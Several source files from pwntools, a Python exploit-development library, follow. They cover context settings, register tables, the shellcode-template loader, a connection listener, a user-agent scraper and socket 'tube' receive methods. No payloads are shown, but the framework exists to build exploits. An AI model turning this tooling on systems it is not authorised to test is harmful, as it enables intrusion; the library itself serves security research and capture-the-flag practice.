            proxy = (socks.SOCKS5, proxy)

        if not isinstance(proxy, collections.Iterable):
            raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')

        socks.set_default_proxy(*proxy)
        socket.socket = socks.socksocket

        return proxy

    @_validator
    def noptrace(self, value):
        """Disable all actions which rely on ptrace.

        This is useful for switching between local exploitation with a debugger,
        and remote exploitation (without a debugger).

        This option can be set with the ``NOPTRACE`` command-line argument.
        """
        return bool(value)


    @_validator
    def adb_host(self, value):
        """Sets the target host which is used for ADB.

        This is useful for Android exploitation.

        The default value is inherited from ANDROID_ADB_SERVER_HOST, or set
        to the default 'localhost'.
        """
        return str(value)


    @_validator
    def adb_port(self, value):
        """Sets the target port which is used for ADB.

        This is useful for Android exploitation.

        The default value is inherited from ANDROID_ADB_SERVER_PORT, or set
        to the default 5037.
        """
        return int(value)

    @_validator
    def device(self, device):
        """Sets the device being operated on.
        """
        if isinstance(device, Device):
            self.arch = device.arch or self.arch
            self.bits = device.bits or self.bits
            self.endian = device.endian or self.endian
        elif isinstance(device, str):
            device = Device(device)
        else:
            raise AttributeError("device must be either a Device object or a serial number as a string")

        return device

    @property
    def adb(self):
        """Returns an argument array for connecting to adb."""
        command = ['adb']

        if self.adb_host != self.defaults['adb_host']:
            command += ['-H', self.adb_host]

        if self.adb_port != self.defaults['adb_port']:
            command += ['-P', str(self.adb_port)]

        if self.device:
            command += ['-s', str(self.device)]

        return command


    #*************************************************************************
    #                               ALIASES
    #*************************************************************************
    #
    # These fields are aliases for fields defined above, either for
    # convenience or compatibility.
    #
    #*************************************************************************

    def __call__(self, **kwargs):
        """
        Alias for :meth:`pwnlib.context.ContextType.update`
        """
        return self.update(**kwargs)

    def reset_local(self):
        """
        Deprecated.  Use :meth:`clear`.
        """
        self.clear()

    @property
    def endianness(self):
        """
        Legacy alias for :attr:`endian`.

        Examples:

            >>> context.endian == context.endianness
            True
        """
        return self.endian
    @endianness.setter
    def endianness(self, value):
        self.endian = value


    @property
    def sign(self):
        """
        Alias for :attr:`signed`
        """
        return self.signed

    @sign.setter
    def sign(self, value):
        self.signed = value

    @property
    def signedness(self):
        """
        Alias for :attr:`signed`
        """
        return self.signed

    @signedness.setter
    def signedness(self, value):
        self.signed = value


    @property
    def word_size(self):
        """
        Alias for :attr:`bits`
        """
        return self.bits

    @word_size.setter
    def word_size(self, value):
        self.bits = value

    Thread = Thread


#: Global ``context`` object, used to store commonly-used pwntools settings.
#: In most cases, the context is used to infer default variables values.
#: For example, :meth:`pwnlib.asm.asm` can take an ``os`` parameter as a
#: keyword argument.  If it is not supplied, the ``os`` specified by
#: ``context`` is used instead.
#: Consider it a shorthand to passing ``os=`` and ``arch=`` to every single
#: function call.
context = ContextType()

# Inherit default ADB values
if 'ANDROID_ADB_SERVER_HOST' in os.environ:
    context.adb_host = os.environ.get('ANDROID_ADB_SERVER_HOST')

if 'ANDROID_ADB_SERVER_PORT' in os.environ:
    context.adb_port = int(os.getenv('ANDROID_ADB_SERVER_PORT'))

def LocalContext(function):
    """
    Wraps the specied function on a context.local() block, using kwargs.

    Example:

        >>> @LocalContext
        ... def printArch():
        ...     print(context.arch)
        >>> printArch()
        i386
        >>> printArch(arch='arm')
        arm
    """
    @functools.wraps(function)
    def setter(*a, **kw):
        # Fast path to skip adding a Context frame
        if not kw:
            return function(*a)

        with context.local(**{k:kw.pop(k) for k,v in kw.items() if isinstance(getattr(ContextType, k, None), property)}):
            return function(*a, **kw)
    return setter






import re

from ..context import context
from ..util.misc import register_sizes

mips = {
    '$0' :  0, '$zero': 0,
    '$1' :  1, '$at':  1,
    '$2' :  2, '$v0':  2,
    '$3' :  3, '$v1':  3,
    '$4' :  4, '$a0':  4,
    '$5' :  5, '$a1':  5,
    '$6' :  6, '$a2':  6,
    '$7' :  7, '$a3':  7,
    '$8' :  8, '$t0':  8,
    '$9' :  9, '$t1':  9,
    '$10': 10, '$t2': 10,
    '$11': 11, '$t3': 11,
    '$12': 12, '$t4': 12,
    '$13': 13, '$t5': 13,
    '$14': 14, '$t6': 14,
    '$15': 15, '$t7': 15,
    '$16': 16, '$s0': 16,
    '$17': 17, '$s1': 17,
    '$18': 18, '$s2': 18,
    '$19': 19, '$s3': 19,
    '$20': 20, '$s4': 20,
    '$21': 21, '$s5': 21,
    '$22': 22, '$s6': 22,
    '$23': 23, '$s7': 23,
    '$24': 24, '$t8': 24,
    '$25': 25, '$t9': 25,
    '$26': 26, '$k0': 26,
    '$27': 27, '$k1': 27,
    '$28': 28, '$gp': 28,
    '$29': 29, '$sp': 29,
    '$30': 30, '$s8': 30,
    '$31': 31, '$ra': 31,
}

arm = map('r{}'.format, range(13))
arm += ["sp", "lr", "pc", "cpsr"]

thumb = arm

aarch64 = map('x{}'.format, range(32))
aarch64 += ["sp", "lr", "pc", "cpsr"]

i386_baseregs = [ "ax", "cx", "dx", "bx", "sp", "bp", "si", "di", "ip"]

i386 = map('e{}'.format, i386_baseregs)
i386 += i386_baseregs
i386 += [ "eflags", "cs", "ss", "ds", "es", "fs", "gs", ]

amd64 =  map('r{}'.format, i386_baseregs)
amd64 += map('r{}'.format, range(8,16))
amd64 += map('r{}d'.format, range(8,16))
amd64 += i386

powerpc =  map('r{}'.format, range(32))
powerpc += ["pc", "msr", "cr", "lr", "ctr", "xer", "orig_r3", "trap" ]
powerpc =  map('%{}'.format, powerpc)

sparc =  map('g{}'.format, range(8))
sparc += map('o{}'.format, range(5))
sparc += map('l{}'.format, range(8))
sparc += map('i{}'.format, range(5))
sparc += ["pc", "sp", "fp", "psr" ]
sparc =  map('%{}'.format, sparc)



# x86/amd64 registers in decreasing size
i386_ordered = [
    ['rax', 'eax', 'ax', 'al'],
    ['rbx', 'ebx', 'bx', 'bl'],
    ['rcx', 'ecx', 'cx', 'cl'],
    ['rdx', 'edx', 'dx', 'dl'],
    ['rdi', 'edi', 'di'],
    ['rsi', 'esi', 'si'],
    ['rbp', 'ebp', 'bp'],
    ['rsp', 'esp', 'sp'],
    ['r8', 'r8d', 'r8w', 'r8b'],
    ['r9', 'r9d', 'r9w', 'r9b'],
    ['r10', 'r10d', 'r10w', 'r10b'],
    ['r11', 'r11d', 'r11w', 'r11b'],
    ['r12', 'r12d', 'r12w', 'r12b'],
    ['r13', 'r13d', 'r13w', 'r13b'],
    ['r14', 'r14d', 'r14w', 'r14b'],
    ['r15', 'r15d', 'r15w', 'r15b']
]

all_regs, sizes, bigger, smaller = register_sizes(i386_ordered, [64, 32, 16, 8, 8])
native64 = {k:v[0] for k,v in bigger.items()}
native32 = {k:v[1] for k,v in bigger.items() if not k.startswith('r')}

class Register(object):
    #: Register name
    name = None

    #: List of larger registers, in order from largest to smallest
    bigger = None

    #: List of smaller regsters, in order from smallest to largest
    smaller = None

    #: Size of the register, in bits
    size = None

    #: Does this register have a 'high' register for mask 0xff00
    ff00 = None

    #: Flags for 64-bit mode.64-bit
    #: The first bit is set, if the register can be used with a REX-mode
    #: The second bit is set, if the register can be used without a REX-prefix
    rex_mode = 0

    #: Is this a 64-bit only register?
    is64bit = False

    #: Name of the native 64-bit register
    native64 = None

    #: Name of the native 32-bit register
    native32 = None

    #: Name of the register which should be used to clear
    #: this register, e.g. xor REG, REG.
    #: Useful for AMD64 for xor eax, eax is shorter than
    #: xor rax, rax and has the same effect.
    xor = None

    def __init__(self, name, size):
        self.name = name
        self.size = size

        for row in i386_ordered:
            if name in row:
                self.bigger  = row[0:row.index(name)]
                self.smaller = row[row.index(name)+1:]
                self.sizes   = {64>>i:r for i,r in enumerate(row)}
                self.native64 = row[0]
                self.native32 = row[1]
                self.xor = self.sizes[min(self.size, 32)]

        if self.size >= 32 and name.endswith('x'):
            self.ff00 = name[1] + 'h'

        if name[-1] != 'h':
            self.rex_mode |= 1

        if name[0] != 'r':
            self.rex_mode |= 2

        if name.startswith('r') or name[1:3].isdigit():
            self.is64bit = True

    @property
    def bits(self):
        return self.size

    @property
    def bytes(self):
        return self.bits / 8

    def fits(self, value):
        return self.size >= bits_required(value)

    def __str__(self):
        return self.name

    def __repr__(self):
        return "Register(%r)" % self.name

intel = {}

for row in i386_ordered:
    for i, reg in enumerate(row):
        intel[reg] = Register(reg, 64 >> i)

def get_register(name):
    if isinstance(name, Register):
        return name
    if isinstance(name, str):
        return intel.get(name, None)
    return None

def is_register(obj):
    if isinstance(obj, Register):
        return True
    return get_register(obj)


def bits_required(value):
    bits  = 0

    if value < 0:
        value = -(value)

    while value:
        value >>= 8
        bits += 8
    return bits


# def is_register(sz):
#     try:
#         sz = sz.lower()
#         return sz.lower() in {
#         'i386': i386,
#         'amd64': amd64,
#         'powerpc': powerpc,
#         'sparc': sparc,
#         'arm': arm,
#         'aarch64': arm,
#         'thumb': arm,
#         'mips': mips,
#         'mips64': mips
#         }[context.arch]
#     except:
#         return False

def register_size(reg):
    return sizes[reg]

def fits_in_register(reg, value):
    return register_size(reg) >= bits_required(value)






import os
from collections import defaultdict

__all__ = ['make_function']

loaded = {}
lookup = None
def init_mako():
    global lookup, render_global
    from mako.lookup import TemplateLookup
    from mako.parsetree import Tag, Text
    from mako import ast
    import threading

    if lookup != None:
        return

    class IsInsideManager:
        def __init__(self, parent):
            self.parent = parent
        def __enter__(self):
            self.oldval = self.parent.is_inside
            self.parent.is_inside = True
            return self.oldval
        def __exit__(self, *args):
            self.parent.is_inside = self.oldval

    class IsInside(threading.local):
        is_inside = False

        def go_inside(self):
            return IsInsideManager(self)

    render_global = IsInside()

    curdir = os.path.dirname(os.path.abspath(__file__))
    lookup = TemplateLookup(
        directories      = [os.path.join(curdir, 'templates')],
        module_directory = os.path.expanduser('~/.pwntools-cache/mako')
    )

    # The purpose of this definition is to create a new Tag.
    # The Tag has a metaclass, which saves this definition even
    # though to do not use it here.
    class pwn_docstring(Tag):
        __keyword__ = 'docstring'

        def __init__(self, *args, **kwargs):
            super(pwn_docstring, self).__init__('docstring', (), (), (), (), **kwargs)
            self.ismodule = True

        @property
        def text(self):
            children = self.get_children()
            if len(children) != 1 or not isinstance(children[0], Text):
                raise Exception("docstring tag only supports text")

            docstring = children[0].content

            return '__doc__ = %r' % docstring

        @property
        def code(self):
            return ast.PythonCode(self.text)

        def accept_visitor(self, visitor):
            method = getattr(visitor, "visitCode", lambda x: x)
            method(self)

def lookup_template(filename):
    init_mako()

    if filename not in loaded:
        loaded[filename] = lookup.get_template(filename)

    return loaded[filename]

def get_context_from_dirpath(directory):
    """
    >>> get_context_from_dirpath('common')
    {}
    >>> get_context_from_dirpath('i386')
    {'arch': 'i386'}
    >>> get_context_from_dirpath('amd64/linux') == {'arch': 'amd64', 'os': 'linux'}
    True
    """
    A,O = os.path.split(directory)

    if O == 'common':
        O = None

    if not A:
        A,O = O,None

    rv = {}
    if O: rv['os']=O
    if A: rv['arch']=A
    return rv

def make_function(funcname, filename, directory):
    import inspect
    path       = os.path.join(directory, filename)
    template   = lookup_template(path)

    args, varargs, keywords, defaults = inspect.getargspec(template.module.render_body)

    defaults = defaults or []

    if len(defaults) < len(args) and args[0] == 'context':
        args.pop(0)

    args_used = args[:]

    for n, default in enumerate(defaults, len(args) - len(defaults)):
        args[n] = '%s = %r' % (args[n], default)

    if varargs:
        args.append('*' + varargs)
        args_used.append('*' + varargs)

    if keywords not in ['pageargs', None]:
        args.append('**' + keywords)
        args_used.append('**' + keywords)

    docstring = inspect.cleandoc(template.module.__doc__ or '')
    args      = ', '.join(args)
    args_used = ', '.join(args_used)
    local_ctx = get_context_from_dirpath(directory)

    # This is a slight hack to get the right signature for the function
    # It would be possible to simply create an (*args, **kwargs) wrapper,
    # but what would not have the right signature.
    # While we are at it, we insert the docstring too
    T = '''
def wrap(template, render_global):
    import pwnlib
    def %(funcname)s(%(args)s):
        %(docstring)r
        with render_global.go_inside() as was_inside:
            with pwnlib.context.context.local(**%(local_ctx)s):
                lines = template.render(%(args_used)s).split('\\n')
        for i in xrange(len(lines)):
            line = lines[i]
            def islabelchar(c):
                return c.isalnum() or c == '.' or c == '_'
            if ':' in line and islabelchar(line.lstrip()[0]):
                line = line.lstrip()
            elif line.startswith(' '):
                 line = '    ' + line.lstrip()
            lines[i] = line
        while lines and not lines[-1]: lines.pop()
        while lines and not lines[0]:  lines.pop(0)
        s = '\\n'.join(lines)
        while '\\n\\n\\n' in s:
            s = s.replace('\\n\\n\\n', '\\n\\n')

        if was_inside:
            return s
        else:
            return s + '\\n'
    return %(funcname)s
''' % locals()

    exec T in locals()

    # Setting _relpath is a slight hack only used to get better documentation
    res = wrap(template, render_global)
    res._relpath = path
    res.__module__ = 'pwnlib.shellcraft.' + os.path.dirname(path).replace('/','.')

    import sys, inspect, functools

    @functools.wraps(res)
    def function(*a):
        return sys.modules[res.__module__].function(res.__name__, res, *a)
    @functools.wraps(res)
    def call(*a):
        return sys.modules[res.__module__].call(res.__name__, *a)

    res.function = function
    res.call     = call

    return res






import os
import re
import sys
from types import ModuleType

from . import internal
from .. import constants
from ..context import context
from ..util import packing


class module(ModuleType):
    def __init__(self, name, directory):
        super(module, self).__init__(name)

        # Insert nice properties
        self.__dict__.update({
            '__file__':    __file__,
            '__package__': __package__,
            '__path__':    __path__,
        })

        # Save the shellcode directory
        self._dir = directory

        # Find the absolute path of the directory
        self._absdir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates', self._dir)

        # Get the docstring
        with open(os.path.join(self._absdir, "__doc__")) as fd:
            self.__doc__ = fd.read()

        # Insert into the module list
        sys.modules[self.__name__] = self

    def _get_source(self, template):
        assert template in self.templates
        return os.path.join(self._absdir, *template.split('.')) + '.asm'

    def __lazyinit__(self):

        # Create a dictionary of submodules
        self._submodules = {}
        self._shellcodes = {}
        for name in os.listdir(self._absdir):
            path = os.path.join(self._absdir, name)
            if os.path.isdir(path):
                self._submodules[name] = module(self.__name__ + '.' + name, os.path.join(self._dir, name))
            elif os.path.isfile(path) and name != '__doc__' and name[0] != '.':
                funcname, _ext = os.path.splitext(name)
                if not re.match('^[a-zA-Z][a-zA-Z0-9_]*$', funcname):
                    raise ValueError("found illegal filename, %r" % name)
                self._shellcodes[funcname] = name

        # Put the submodules into toplevel
        self.__dict__.update(self._submodules)

        # These are exported
        self.__all__ = sorted(self._shellcodes.keys() + self._submodules.keys())

        # Make sure this is not called again
        self.__lazyinit__ = None

    def __getattr__(self, key):
        self.__lazyinit__ and self.__lazyinit__()

        # Maybe the lazyinit added it
        if key in self.__dict__:
            return self.__dict__[key]

        # This function lazy-loads the shellcodes
        if key in self._shellcodes:
            real = internal.make_function(key, self._shellcodes[key], self._dir)
            setattr(self, key, real)
            return real

        for m in self._context_modules():
            try:
                return getattr(m, key)
            except AttributeError:
                pass

        raise AttributeError("'module' object has no attribute '%s'" % key)

    def __dir__(self):
        # This function lists the available submodules, available shellcodes
        # and potentially shellcodes available in submodules that should be
        # avilable because of the context
        self.__lazyinit__ and self.__lazyinit__()

        result = list(self._submodules.keys())
        result.extend(('__file__', '__package__', '__path__',
                       '__all__',  '__name__'))
        result.extend(self.__shellcodes__())

        return result

    def _context_modules(self):
        self.__lazyinit__ and self.__lazyinit__()
        for k, m in self._submodules.items():
            if k in [context.arch, context.os]:
                yield m

    def __shellcodes__(self):
        self.__lazyinit__ and self.__lazyinit__()
        result = self._shellcodes.keys()
        for m in self._context_modules():
            result.extend(m.__shellcodes__())
        return result

    template_dir = os.path.join(os.path.dirname(__file__), 'templates')
    templates    = []

    for root, subfolder, files in os.walk(template_dir):
        for file in filter(lambda x: x.endswith('.asm'), files):
            value = os.path.splitext(file)[0]
            value = os.path.join(root, value)
            value = value.replace(template_dir, '')
            value = value.replace(os.path.sep, '.')
            value = value.lstrip('.')
            templates.append(value)

    templates = sorted(templates)

    def eval(self, item):
        if isinstance(item, (int,long)):
            return item
        return constants.eval(item)

    def pretty(self, n, comment=True):
        if isinstance(n, str):
            return repr(n)
        if not isinstance(n, int):
            return n
        if isinstance(n, constants.Constant):
            if comment: return '%s /* %s */' % (n,self.pretty(int(n)))
            else:       return '%s (%s)'     % (n,self.pretty(int(n)))
        elif abs(n) < 10:
            return str(n)
        else:
            return hex(n)

    def okay(self, s, *a, **kw):
        if isinstance(s, int):
            s = packing.pack(s, *a, **kw)
        return '\0' not in s and '\n' not in s

    import registers

# To prevent garbage collection
tether = sys.modules[__name__]

# Create the module structure
shellcraft = module(__name__, '')

class LazyImporter:
    def find_module(self, fullname, path):
        if not fullname.startswith('pwnlib.shellcraft.'):
            return None

        parts = fullname.split('.')[2:]
        cur = shellcraft
        for part in parts:
            cur = getattr(cur, part, None)
            if not isinstance(cur, ModuleType):
                return None

        return self

    def load_module(self, fullname):
        return sys.modules[fullname]
sys.meta_path.append(LazyImporter())






#!/usr/bin/env python2
import re
import sys

from pwnlib.util import safeeval

python = open(sys.argv[1], "w")
header = open(sys.argv[2], "w")

print >>python, 'from pwnlib.constants.constant import Constant'

data = sys.stdin.read().strip().split('\n')

res = ""
regex = re.compile('^%constant ([^=]+) = ([^";]+);')
for l in data:
    m = regex.match(l)
    if not m:
        continue
    if '"' in l or '=' not in l or ';' not in l or not l.startswith('%constant '):
        continue

    key = m.group(1)
    val = m.group(2)

    # Handle weird special cases from C syntax
    if val.endswith('UL'):
        val = val[:-2]
    elif val.endswith('L'):
        val = val[:-1]

    print >> python, "{key} = Constant({key!r},{val})".format(**locals())
    if re.match(r'^0[0-9]', val) or re.match(r'[^0-9a-fA-Fx]0[0-9]', val):
        print >> header, "#define %s %s" % (key, hex(safeeval.expr(val)))
    else:
        print >> header, "#define %s %s" % (key, val)






#!/usr/bin/env python2
"""
Script for downloading lists of user agent strings
"""
import os
import re
import urllib

from bs4 import BeautifulSoup

from pwn import *

uas = set()
if os.path.isfile('useragents.txt'):
    with open('useragents.txt') as fd:
        for line in fd:
            if line:
                uas.add(line.rstrip())

def getxml(url):
    f = urllib.urlopen(url)
    xml = f.read()
    f.close()
    return xml

with log.waitfor('Fetching from from http://www.useragentstring.com') as l:
    html = getxml('http://www.useragentstring.com/pages/All/')
    soup = BeautifulSoup(html)
    l.success()

with log.waitfor('Parsing list') as l:
    liste = soup.select('#liste a')
    for a in liste:
        href = a.get('href')
        if not href or href[0] != '/':
            continue
        m = re.match('More (.+) user agents strings -->>', a.string)
        if m:
            target = m.group(1)
            with log.waitfor('Fetching additional user agents for %s' % target) as l:
                html = getxml('http://www.useragentstring.com' + href)
                soup = BeautifulSoup(html)
                subliste = soup.select('#liste a')
                for a in subliste:
                    ua = a.string.strip()
                    try:
                        ua = ua.decode('utf-8')
                    except UnicodeEncodeError:
                        continue
                    uas.add(ua)
                l.success()
        else:
            uas.add(a.string.strip())
    l.success()

with log.waitfor('Fetching from from http://techpatterns.com') as l:
    xml = getxml('http://techpatterns.com/downloads/firefox/useragentswitcher.xml')
    soup = BeautifulSoup(xml)
    l.success()

def loop(xml):
    for item in xml:
        if item.name == 'folder':
            if item['description'] != 'UA List :: About':
                loop(item)
        elif item.name == 'useragent':
            uas.add(item['useragent'].strip())

with log.waitfor('Parsing list') as l:
    loop(soup.body.useragentswitcher)
    l.success()

with log.waitfor('Fetching from from http://www.user-agents.org') as l:
    xml = getxml('http://www.user-agents.org/allagents.xml')
    soup = BeautifulSoup(xml)
    l.success()

with log.waitfor('Parsing list') as l:
    for item in soup.body.__getattr__('user-agents'):
        if item.name == 'user-agent':
            ua = item.select('string')[0].string.strip()
            try:
                ua = ua.decode('utf-8')
            except UnicodeEncodeError:
                continue
            uas.add(ua)
    l.success()

log.info('Fetched %d user agents' % len(uas))

write('useragents.txt', ''.join(sorted(ua + '\n' for ua in uas)))






import errno
import socket

from ..context import context
from ..log import getLogger
from ..timeout import Timeout
from .sock import sock

log = getLogger(__name__)

class listen(sock):
    """Creates an TCP or UDP-socket to receive data on. It supports
    both IPv4 and IPv6.

    The returned object supports all the methods from
    :class:`pwnlib.tubes.sock` and :class:`pwnlib.tubes.tube`.

    Arguments:
        port(int): The port to connect to.
        bindaddr(str): The address to bind to.
        fam: The string "any", "ipv4" or "ipv6" or an integer to pass to :func:`socket.getaddrinfo`.
        typ: The string "tcp" or "udp" or an integer to pass to :func:`socket.getaddrinfo`.
        timeout: A positive number, None
    """

    def __init__(self, port=0, bindaddr = "0.0.0.0",
                 fam = "any", typ = "tcp",
                 timeout = Timeout.default, level = None):
        super(listen, self).__init__(timeout, level = level)

        port = int(port)
        fam  = {socket.AF_INET: 'ipv4',
                socket.AF_INET6: 'ipv6'}.get(fam, fam)

        if fam == 'any':
            fam = socket.AF_UNSPEC
        elif fam.lower() in ['ipv4', 'ip4', 'v4', '4']:
            fam = socket.AF_INET
        elif fam.lower() in ['ipv6', 'ip6', 'v6', '6']:
            fam = socket.AF_INET6
            if bindaddr == '0.0.0.0':
                bindaddr = '::'
        elif isinstance(fam, (int, long)):
            pass
        else:
            self.error("remote(): family %r is not supported" % fam)

        if typ == "tcp":
            typ = socket.SOCK_STREAM
        elif typ == "udp":
            typ = socket.SOCK_DGRAM
        elif isinstance(typ, (int, long)):
            pass
        else:
            self.error("remote(): type %r is not supported" % typ)

        h = self.waitfor('Trying to bind to %s on port %d' % (bindaddr, port))

        for res in socket.getaddrinfo(bindaddr, port, fam, typ, 0, socket.AI_PASSIVE):
            self.family, self.type, self.proto, self.canonname, self.sockaddr = res

            if self.type not in [socket.SOCK_STREAM, socket.SOCK_DGRAM]:
                continue

            h.status("Trying %s" % self.sockaddr[0])
            listen_sock = socket.socket(self.family, self.type, self.proto)
            listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            listen_sock.bind(self.sockaddr)
            self.lhost, self.lport = listen_sock.getsockname()[:2]
            if self.type == socket.SOCK_STREAM:
                listen_sock.listen(1)
            break
        else:
            h.failure()
            self.error("Could not bind to %s on port %d" % (bindaddr, port))

        h.success()

        h = self.waitfor('Waiting for connections on %s:%s' % (self.lhost, self.lport))

        def accepter():
            while True:
                try:
                    if self.type == socket.SOCK_STREAM:
                        self.sock, rhost = listen_sock.accept()
                        listen_sock.close()
                    else:
                        data, rhost = listen_sock.recvfrom(4096)
                        listen_sock.connect(rhost)
                        self.sock = listen_sock
                        self.unrecv(data)
                    self.settimeout(self.timeout)
                    break
                except socket.error as e:
                    if e.errno == errno.EINTR:
                        continue
                    h.failure()
                    self.exception("Socket failure while waiting for connection")
                    self.sock = None
                    return

            self.rhost, self.rport = rhost[:2]
            h.success('Got connection from %s on port %d' % (self.rhost, self.rport))

        self._accepter = context.Thread(target = accepter)
        self._accepter.daemon = True
        self._accepter.start()

    def spawn_process(self, *args, **kwargs):
        def accepter():
            self.wait_for_connection()
            self.sock.setblocking(1)
            p = super(listen, self).spawn_process(*args, **kwargs)
            p.wait()
            self.close()
        t = context.Thread(target = accepter)
        t.daemon = True
        t.start()

    def wait_for_connection(self):
        """Blocks until a connection has been established."""
        self.sock
        return self

    def __getattr__(self, key):
        if key == 'sock':
            self._accepter.join(timeout = self.timeout)
            if 'sock' in self.__dict__:
                return self.sock
            else:
                return None
        else:
            return getattr(super(listen, self), key)

    def close(self):
        # since `close` is scheduled to run on exit we must check that we got
        # a connection or the program will hang in the `join` call above
        if self._accepter.is_alive():
            return
        super(listen, self).close()






# -*- coding: utf-8 -*-
import logging
import re
import string
import subprocess
import sys
import threading
import time

from .. import atexit
from .. import term
from ..context import context
from ..log import Logger
from ..timeout import Timeout
from ..util import fiddling
from ..util import misc
from ..util import packing
from .buffer import Buffer


class tube(Timeout, Logger):
    """
    Container of all the tube functions common to sockets, TTYs and SSH connetions.
    """

    default = Timeout.default
    forever = Timeout.forever

    #: Delimiter to use for :meth:`sendline`, :meth:`recvline`,
    #: and related functions.
    newline = '\n'

    def __init__(self, timeout = default, level = None):
        super(tube, self).__init__(timeout)

        Logger.__init__(self, None)
        if level is not None:
            self.setLevel(level)

        self.buffer          = Buffer()
        atexit.register(self.close)

    # Functions based on functions from subclasses
    def recv(self, numb = 4096, timeout = default):
        r"""recv(numb = 4096, timeout = default) -> str

        Receives up to `numb` bytes of data from the tube, and returns
        as soon as any quantity of data is available.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Raises:
            exceptions.EOFError: The connection is closed

        Returns:
            A string containing bytes received from the socket,
            or ``''`` if a timeout occurred while waiting.

        Examples:

            >>> t = tube()
            >>> # Fake a data source
            >>> t.recv_raw = lambda n: 'Hello, world'
            >>> t.recv() == 'Hello, world'
            True
            >>> t.unrecv('Woohoo')
            >>> t.recv() == 'Woohoo'
            True
            >>> with context.local(log_level='debug'):
            ...    _ = t.recv() # doctest: +ELLIPSIS
            [...] Received 0xc bytes:
                'Hello, world'
        """
        return self._recv(numb, timeout) or ''

    def unrecv(self, data):
        """unrecv(data)

        Puts the specified data back at the beginning of the receive
        buffer.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> t.recv_raw = lambda n: 'hello'
                >>> t.recv()
                'hello'
                >>> t.recv()
                'hello'
                >>> t.unrecv('world')
                >>> t.recv()
                'world'
                >>> t.recv()
                'hello'
        """
        self.buffer.unget(data)

    def _fillbuffer(self, timeout = default):
        """_fillbuffer(timeout = default)

        Fills the internal buffer from the pipe, by calling
        :meth:`recv_raw` exactly once.

        Returns:

            The bytes of data received, or ``''`` if no data was received.

        Examples:

            >>> t = tube()
            >>> t.recv_raw = lambda *a: 'abc'
            >>> len(t.buffer)
            0
            >>> t._fillbuffer()
            'abc'
            >>> len(t.buffer)
            3
        """
        data = ''

        with self.local(timeout):
            data = self.recv_raw(4096)

        if data and self.isEnabledFor(logging.DEBUG):
            self.debug('Received %#x bytes:' % len(data))

            if len(set(data)) == 1 and len(data) > 1:
                self.indented('%r * %#x' % (data[0], len(data)), level = logging.DEBUG)
            elif all(c in string.printable for c in data):
                for line in data.splitlines(True):
                    self.indented(repr(line), level = logging.DEBUG)
            else:
                self.indented(fiddling.hexdump(data), level = logging.DEBUG)

        if data:
            self.buffer.add(data)

        return data


    def _recv(self, numb = 4096, timeout = default):
        """_recv(numb = 4096, timeout = default) -> str

        Recieves one chunk of from the internal buffer or from the OS if the
        buffer is empty.
        """
        data = ''

        # No buffered data, could not put anything in the buffer
        # before timeout.
        if not self.buffer and not self._fillbuffer(timeout):
            return ''

        return self.buffer.get(numb)

    def recvpred(self, pred, timeout = default):
        """recvpred(pred, timeout = default) -> str

        Receives one byte at a time from the tube, until ``pred(bytes)``
        evaluates to True.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Arguments:
            pred(callable): Function to call, with the currently-accumulated data.
            timeout(int): Timeout for the operation

        Raises:
            exceptions.EOFError: The connection is closed

        Returns:
            A string containing bytes received from the socket,
            or ``''`` if a timeout occurred while waiting.
        """

        data = ''

        with self.countdown(timeout):
            while not pred(data):
                try:
                    res = self.recv(1)
                except Exception:
                    self.unrecv(data)
                    return ''

                if res:
                    data += res
                else:
                    self.unrecv(data)
                    return ''

        return data

    def recvn(self, numb, timeout = default):
        """recvn(numb, timeout = default) -> str

        Recieves exactly `n` bytes.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        Raises:
            exceptions.EOFError: The connection closed before the request could be satisfied

        Returns:
            A string containing bytes received from the socket,
            or ``''`` if a timeout occurred while waiting.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> data = 'hello world'
                >>> t.recv_raw = lambda *a: data
                >>> t.recvn(len(data)) == data
                True
                >>> t.recvn(len(data)+1) == data + data[0]
                True
                >>> t.recv_raw = lambda *a: None
                >>> # The remaining data is buffered
                >>> t.recv() == data[1:]
                True
                >>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
                >>> t.recvn(10, timeout=0.05)
                ''
                >>> t.recvn(10, timeout=0.06) # doctest: +ELLIPSIS
                'aaaaaa...'
        """
        # Keep track of how much data has been received
        # It will be pasted together at the end if a
        # timeout does not occur, or put into the tube buffer.
        with self.countdown(timeout):
            while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout):
                pass

        if len(self.buffer) < numb:
            return ''

        return self.buffer.get(numb)

    def recvuntil(self, delims, drop=False, timeout = default):
        """recvuntil(delims, timeout = default) -> str

        Recieve data until one of `delims` is encountered.

        If the request is not satisfied before ``timeout`` seconds pass,
        all data is buffered and an empty string (``''``) is returned.

        arguments:
            delims(str,tuple): String of delimiters characters, or list of delimiter strings.
            drop(bool): Drop the ending.  If ``True`` it is removed from the end of the return value.

        Raises:
            exceptions.EOFError: The connection closed before the request could be satisfied

        Returns:
            A string containing bytes received from the socket,
            or ``''`` if a timeout occurred while waiting.

        Examples:

            .. doctest::

                >>> t = tube()
                >>> t.recv_raw = lambda n: "Hello World!"
                >>> t.recvuntil(' ')
                'Hello '
                >>> _=t.clean(0)
                >>> # Matches on 'o' in 'Hello'
                >>> t.recvuntil(tuple(' Wor'))
                'Hello'
                >>> _=t.clean(0)
                >>> # Matches expressly full string
                >>> t.recvuntil(' Wor')
                'Hello Wor'
                >>> _=t.clean(0)
                >>> # Matches on full string, drops match
                >>> t.recvuntil(' Wor', drop=True)
                'Hello'

                >>> # Try with regex special characters
                >>> t = tube()
                >>> t.recv_raw = lambda n: "Hello|World"
                >>> t.recvuntil('|', drop=True)
                'Hello'

        """
        # Convert string into singleton tupple
        if isinstance(delims, (str, unicode)):
            delims = (delims,)

        # Longest delimiter for tracking purposes
        longest = max(map(len, delims))

        # Cumulative data to search
        data = []
        top = ''

        with self.countdown(timeout):
            while self.countdown_active():
                try:
                    res = self.recv(timeout=self.timeout)
                except Exception:
                    self.unrecv(''.join(data) + top)
                    raise

                if not res:
                    self.unrecv(''.join(data) + top)
                    return ''

                top += res
                start = len(top)
                for d in delims:
                    j = top.find(d)
